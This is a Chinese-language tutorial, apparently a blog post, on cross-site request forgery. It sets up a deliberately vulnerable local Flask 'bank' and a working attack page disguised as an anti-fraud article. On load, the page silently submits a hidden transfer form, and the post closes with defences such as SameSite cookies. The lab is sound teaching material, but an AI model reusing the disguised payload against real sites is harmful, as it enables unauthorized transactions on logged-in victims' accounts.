CSRF 攻击原理与实验测试(附可运行测试案例)
CSRF就是跨站请求伪造,英文名 Cross-Site Request Forgery,是一种利用浏览器自动携带 Cookie的特性进行的攻击。攻击者诱导用户访问一个恶意页面,这个页面在用户不知情的情况下,向另一个已登录站点发起请求,执行敏感操作(如转账、发帖等)。
关键点:
依赖于 浏览器自动附带 Cookie
用户必须 已登录目标站点
攻击页面发起的是 合法路径的 HTTP 请求
就比如,
1、你在浏览器登录了某 xx 平台的账号
2、假设这个平台使用token判断登陆状态,你的token就会存在Cookie,下次访问这个平台的功能的时候就会带着这个token,来判断是你访问的,比如你想修改你的昵称,调用了 /modify 接口,浏览器就会自己带着token,xx平台的服务端看着是这个token就会给你修改了,但是它可能只是看这个token,不关心到底是谁拿着这个token
3、换句话说,如果你现在打开了小美给你发的一个链接,而这个链接正好写了一些代码,自动访问 /modify 接口,浏览器一看,是对 /xx/modify的访问,所以携带上 xx平台 的token,结果正好就能访问成功把你的昵称给改了。
实验
我们用 Python Flask 写一个简单的服务,并构造一个攻击页面(伪装成科普文章)来发起攻击。
受害者
开启一个后端服务,假设他就是你登录了的 xx 平台,也就是攻击者想要攻击的平台。
from flask import Flask, request, make_responseapp = Flask(__name__)@app.route('/')
def index():resp = make_response("<h1>Welcome to bank.com</h1>")resp.set_cookie('session', 'fake-login-token') # 模拟用户已登录return resp@app.route('/transfer', methods=['POST'])
def transfer():cookie = request.cookies.get('session')if cookie == 'fake-login-token':return "Transfer success"else:return "Unauthorized", 403if __name__ == '__main__':app.run(port=5000) # http://localhost:5000 即是 bank.com
运行 app.py 开启这个服务之后,先打开浏览器访问一下 http://localhost:5000/ 模拟你在这个平台登录了,浏览器就会存一个你在这个 localhost:5000 这个平台的token到cookie里。你下次再访问localhost:5000 下的任何请求都会自动带上这个 cookie。
攻击者
攻击者小美随便弄了一个html网页,假装是知识科普的网页,并在里面插入了一些很坏的代码,去访问受害者服务:
<!DOCTYPE html>
<html lang="zh-CN">
<head><meta charset="UTF-8"><title>金融安全知识科普|理财防骗指南</title><style>body {font-family: "微软雅黑", sans-serif;line-height: 1.6;margin: 2em;background-color: #f9f9f9;color: #333;}h1 {color: #0066cc;}.article {background: #fff;padding: 2em;border-radius: 8px;box-shadow: 0 2px 6px rgba(0,0,0,0.1);}iframe {display: none;}</style>
</head>
<body><div class="article"><h1>如何识别金融诈骗行为?</h1><p>近年来,随着互联网金融的发展,越来越多的诈骗手段层出不穷。本篇文章将为大家详细介绍几种常见的金融骗局及其防范手段。</p><h2>1. 冒充银行人员</h2><p>骗子通常会打电话声称你账户异常,诱导你转账或提供验证码。切记:银行不会通过电话要求你转账!</p><h2>2. 钓鱼网站</h2><p>这些网站伪装成正规平台,诱导用户输入账号密码。务必核实网址是否为官方地址!</p><h2>3. 虚假理财产品</h2><p>承诺高收益、低风险的理财往往是陷阱。投资前请仔细甄别平台资质和风险提示。</p><p>继续阅读我们的“金融安全提升指南”,让你守护好每一分钱!</p></div><!-- 攻击表单嵌入 iframe 中 --><iframe name="hiddenFrame"></iframe><form action="http://localhost:5000/transfer" method="POST" target="hiddenFrame" id="attackForm"><input type="hidden" name="to" value="attacker" /><input type="hidden" name="amount" value="1000" /></form><script>window.onload = function() {document.getElementById('attackForm').submit();};</script>
</body>
</html>
要注意,这个html不能直接是发 .html 文件给你然后让你双击打开,因为 file:// 页面不能携带跨域 Cookie 发起请求。
这是浏览器安全策略决定的,file:// 是一种特殊的跨源协议,不属于任何可信站点,浏览器认为它不应访问任何 Cookie 属于其他域名的内容。
正常来说这个html要放在某个服务器,我们打开链接才会被害,这里模拟可以用http-server。
再开一台服务,在cmd里:
python -m http.server 8080
注意,把attacker.html放在服务的路径下,比如你是在桌面开的cmd,你的目录就是桌面。
然后通过 http://localhost:8080/attacker.html 来访问这个html就和你打开小美的链接一样了。
小丑(受害者2)
也就是你,刚才已经在 xx平台 登录过了,浏览器里保存了cookie,不信你可以在浏览器设置里,找到 隐私、搜索和服务, 点 Cookie,查看所有 Cookie和站点数据,搜一下localhost,就能找到了,就像这样:
然后你先在去打开小美的链接:http://localhost:8080/attacker.html
按F12之后再访问,你会发现,除了表面的防骗内容之外,他还偷偷地进行了一个
http://localhost:5000/transfer 请求
而且,带上了你的token,也就是说,你没有告诉小美你在xx平台的账号密码,但是,小美偷偷用你的token进入你的xx平台,可以做一些奇妙的小操作。
这就是普通的CSRF攻击。
防止
其实好一点的项目并不会像xx平台这么傻逼,他们都有安全措施的,比如CSDN,我尝试了用我的cookie,和其他一些参数,都没办法访问成功一些请求。
对于我们后端的话,可以:
1、设置 Cookie 的 SameSite 属性
阻止跨站请求自动携带 Cookie。
SameSite 取值 | 说明 |
---|---|
Lax (默认) | 允许 GET 请求带 Cookie(大部分情况已足够) |
Strict | 所有跨站请求都不带 Cookie(最安全) |
None | 明确允许跨站,但必须搭配 Secure=true (仅 HTTPS) |
2、在一些比较重要的功能里,比如转账之类的,最好使用双重验证,比如验证码 、 二次确认。
3、也可以用一些成熟的框架比如说Spring Security
CSRF 不是一种新攻击,但它依然是现代 Web 安全中需要注意的问题,尤其是在使用 Cookie 做身份校验的系统中,极易因防护疏忽而造成重大后果。